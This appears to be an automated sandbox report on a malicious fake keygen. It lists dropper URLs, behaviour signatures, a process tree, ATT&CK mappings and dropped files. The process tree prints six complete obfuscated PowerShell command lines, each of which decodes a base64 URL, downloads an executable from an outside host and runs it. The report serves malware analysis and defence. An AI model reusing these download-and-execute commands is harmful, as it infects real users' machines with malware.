201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
52s
max time network
154s
platform
windows7_x64
resource
win7v200722
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (117) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

10 1912 powershell.exe
12 1912 powershell.exe
15 896 powershell.exe
16 1988 powershell.exe
20 1988 powershell.exe
21 896 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 8 IoCs

Processes:

Keygen.exeosx.exeyek.exelzu.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeyek.exe

pid process

1292 Keygen.exe
2368 osx.exe
2480 yek.exe
2524 lzu.exe
2592 FVjhgtresfdbv.exe
2632 FVjhgtresfdbv.exe
2684 NHtrdsaghfDF.exe
2720 yek.exe

flow	pid	process
10	1912	powershell.exe
12	1912	powershell.exe
15	896	powershell.exe
16	1988	powershell.exe
20	1988	powershell.exe
21	896	powershell.exe

pid	process
1292	Keygen.exe
2368	osx.exe
2480	yek.exe
2524	lzu.exe
2592	FVjhgtresfdbv.exe
2632	FVjhgtresfdbv.exe
2684	NHtrdsaghfDF.exe
2720	yek.exe

Loads dropped DLL 15 IoCs

Processes:

cmd.exepowershell.exepowershell.exepowershell.exelzu.exeyek.exeFVjhgtresfdbv.exe

pid	process
1396	cmd.exe
1912	powershell.exe
1988	powershell.exe
1988	powershell.exe
896	powershell.exe
896	powershell.exe
2524	lzu.exe
2524	lzu.exe
2480	yek.exe
2480	yek.exe
2524	lzu.exe
2524	lzu.exe
2480	yek.exe
2480	yek.exe
2592	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

yek.exe

description pid process target process

PID 2480 set thread context of 2720 2480 yek.exe yek.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1768 timeout.exe
1576 timeout.exe

description	pid	process	target process
PID 2480 set thread context of 2720	2480	yek.exe	yek.exe

pid	process
1768	timeout.exe
1576	timeout.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exemshta.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2000	powershell.exe
1172	powershell.exe
1912	powershell.exe
896	powershell.exe
1988	powershell.exe
1172	powershell.exe
2000	powershell.exe
1912	powershell.exe
1940	powershell.exe
896	powershell.exe
1988	powershell.exe
1940	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

yek.exe

pid process

2480 yek.exe

pid	process
2480	yek.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	896	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

Keygen.exelzu.exeyek.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

1292 Keygen.exe
2524 lzu.exe
2480 yek.exe
2592 FVjhgtresfdbv.exe
2684 NHtrdsaghfDF.exe
2632 FVjhgtresfdbv.exe

pid	process
1292	Keygen.exe
2524	lzu.exe
2480	yek.exe
2592	FVjhgtresfdbv.exe
2684	NHtrdsaghfDF.exe
2632	FVjhgtresfdbv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (117) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 1412 wrote to memory of 1396	1412	Keygen — копия (117) — копия.exe	cmd.exe
PID 1412 wrote to memory of 1396	1412	Keygen — копия (117) — копия.exe	cmd.exe
PID 1412 wrote to memory of 1396	1412	Keygen — копия (117) — копия.exe	cmd.exe
PID 1412 wrote to memory of 1396	1412	Keygen — копия (117) — копия.exe	cmd.exe
PID 1396 wrote to memory of 1292	1396	cmd.exe	Keygen.exe
PID 1396 wrote to memory of 1292	1396	cmd.exe	Keygen.exe
PID 1396 wrote to memory of 1292	1396	cmd.exe	Keygen.exe
PID 1396 wrote to memory of 1292	1396	cmd.exe	Keygen.exe
PID 1396 wrote to memory of 1852	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1852	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1852	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1852	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1872	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1872	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1872	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1872	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1768	1396	cmd.exe	timeout.exe
PID 1396 wrote to memory of 1768	1396	cmd.exe	timeout.exe
PID 1396 wrote to memory of 1768	1396	cmd.exe	timeout.exe
PID 1396 wrote to memory of 1768	1396	cmd.exe	timeout.exe
PID 1396 wrote to memory of 1064	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1064	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1064	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1064	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1200	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1200	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1200	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1200	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1576	1396	cmd.exe	timeout.exe
PID 1396 wrote to memory of 1576	1396	cmd.exe	timeout.exe
PID 1396 wrote to memory of 1576	1396	cmd.exe	timeout.exe
PID 1396 wrote to memory of 1576	1396	cmd.exe	timeout.exe
PID 1200 wrote to memory of 1940	1200	mshta.exe	powershell.exe
PID 1200 wrote to memory of 1940	1200	mshta.exe	powershell.exe
PID 1200 wrote to memory of 1940	1200	mshta.exe	powershell.exe
PID 1200 wrote to memory of 1940	1200	mshta.exe	powershell.exe
PID 1064 wrote to memory of 1912	1064	mshta.exe	powershell.exe
PID 1064 wrote to memory of 1912	1064	mshta.exe	powershell.exe
PID 1064 wrote to memory of 1912	1064	mshta.exe	powershell.exe
PID 1064 wrote to memory of 1912	1064	mshta.exe	powershell.exe
PID 1872 wrote to memory of 2000	1872	mshta.exe	powershell.exe
PID 1872 wrote to memory of 2000	1872	mshta.exe	powershell.exe
PID 1872 wrote to memory of 2000	1872	mshta.exe	powershell.exe
PID 1872 wrote to memory of 2000	1872	mshta.exe	powershell.exe
PID 1852 wrote to memory of 1988	1852	mshta.exe	powershell.exe
PID 1852 wrote to memory of 1988	1852	mshta.exe	powershell.exe
PID 1852 wrote to memory of 1988	1852	mshta.exe	powershell.exe
PID 1852 wrote to memory of 1988	1852	mshta.exe	powershell.exe
PID 1396 wrote to memory of 1952	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1952	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1952	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1952	1396	cmd.exe	mshta.exe
PID 1952 wrote to memory of 896	1952	mshta.exe	powershell.exe
PID 1952 wrote to memory of 896	1952	mshta.exe	powershell.exe
PID 1952 wrote to memory of 896	1952	mshta.exe	powershell.exe
PID 1952 wrote to memory of 896	1952	mshta.exe	powershell.exe
PID 1396 wrote to memory of 1668	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1668	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1668	1396	cmd.exe	mshta.exe
PID 1396 wrote to memory of 1668	1396	cmd.exe	mshta.exe
PID 1668 wrote to memory of 1172	1668	mshta.exe	powershell.exe
PID 1668 wrote to memory of 1172	1668	mshta.exe	powershell.exe
PID 1668 wrote to memory of 1172	1668	mshta.exe	powershell.exe
PID 1668 wrote to memory of 1172	1668	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (117) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (117) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1412

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\C41A.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (117) — ?????.exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1396

C:\Users\Admin\AppData\Local\Temp\C41A.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1292

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C41A.tmp\m.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1852

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\Users\Public\yek.exe
"C:\Users\Public\yek.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2480

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2632

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2684

C:\Users\Public\yek.exe
"C:\Users\Public\yek.exe"
6⤵
- Executes dropped EXE
PID:2720

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C41A.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1872

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1768

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C41A.tmp\b.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1064

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1912

C:\Users\Public\osx.exe
"C:\Users\Public\osx.exe"
5⤵
- Executes dropped EXE
PID:2368

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C41A.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1200

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1940

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1576

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C41A.tmp\ba.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1952

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:896

C:\Users\Public\lzu.exe
"C:\Users\Public\lzu.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:2524

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:2592

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
PID:2796

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
PID:2660

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C41A.tmp\ba1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1668

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1172

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1a1733a9-c78a-41f9-ba49-7e78bc3e775b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_478c05f3-b801-4912-91bd-47646e127596

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4fd4a7fe-82f5-41e4-888c-1b7eac83ece7

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2ebb337-3027-47ef-8098-8d2e9f7615cf

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ca37ad88-4ce8-48e7-a2ed-ec10658dba29

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e10aa6dc-f3ff-45e4-9eec-4fef42847693

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e1dd9aab-0fd1-4532-ba7f-00569c2741ef

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Temp\C41A.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\C41A.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\C41A.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\C41A.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\C41A.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\C41A.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\C41A.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\C41A.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\C41A.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

